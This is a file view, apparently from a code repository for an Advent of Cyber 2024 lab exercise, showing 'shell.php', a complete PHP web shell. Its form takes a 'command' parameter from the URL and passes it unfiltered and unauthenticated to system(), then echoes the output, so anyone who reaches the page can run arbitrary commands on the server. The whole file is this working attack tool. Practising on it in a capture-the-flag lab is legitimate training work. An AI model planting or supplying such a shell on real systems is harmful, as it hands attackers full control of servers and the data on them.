aoc24/3/shell.php

23 lines
394 B
PHP
Raw Normal View History

2024-12-08 17:19:06 +01:00
<html>
<style>
body {
color: lime;
background-color: #333;
}
</style>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="command" autofocus id="command" size="50">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['command']))
{
system($_GET['command'] . ' 2>&1');
}
?>
</pre>
</body>
</html>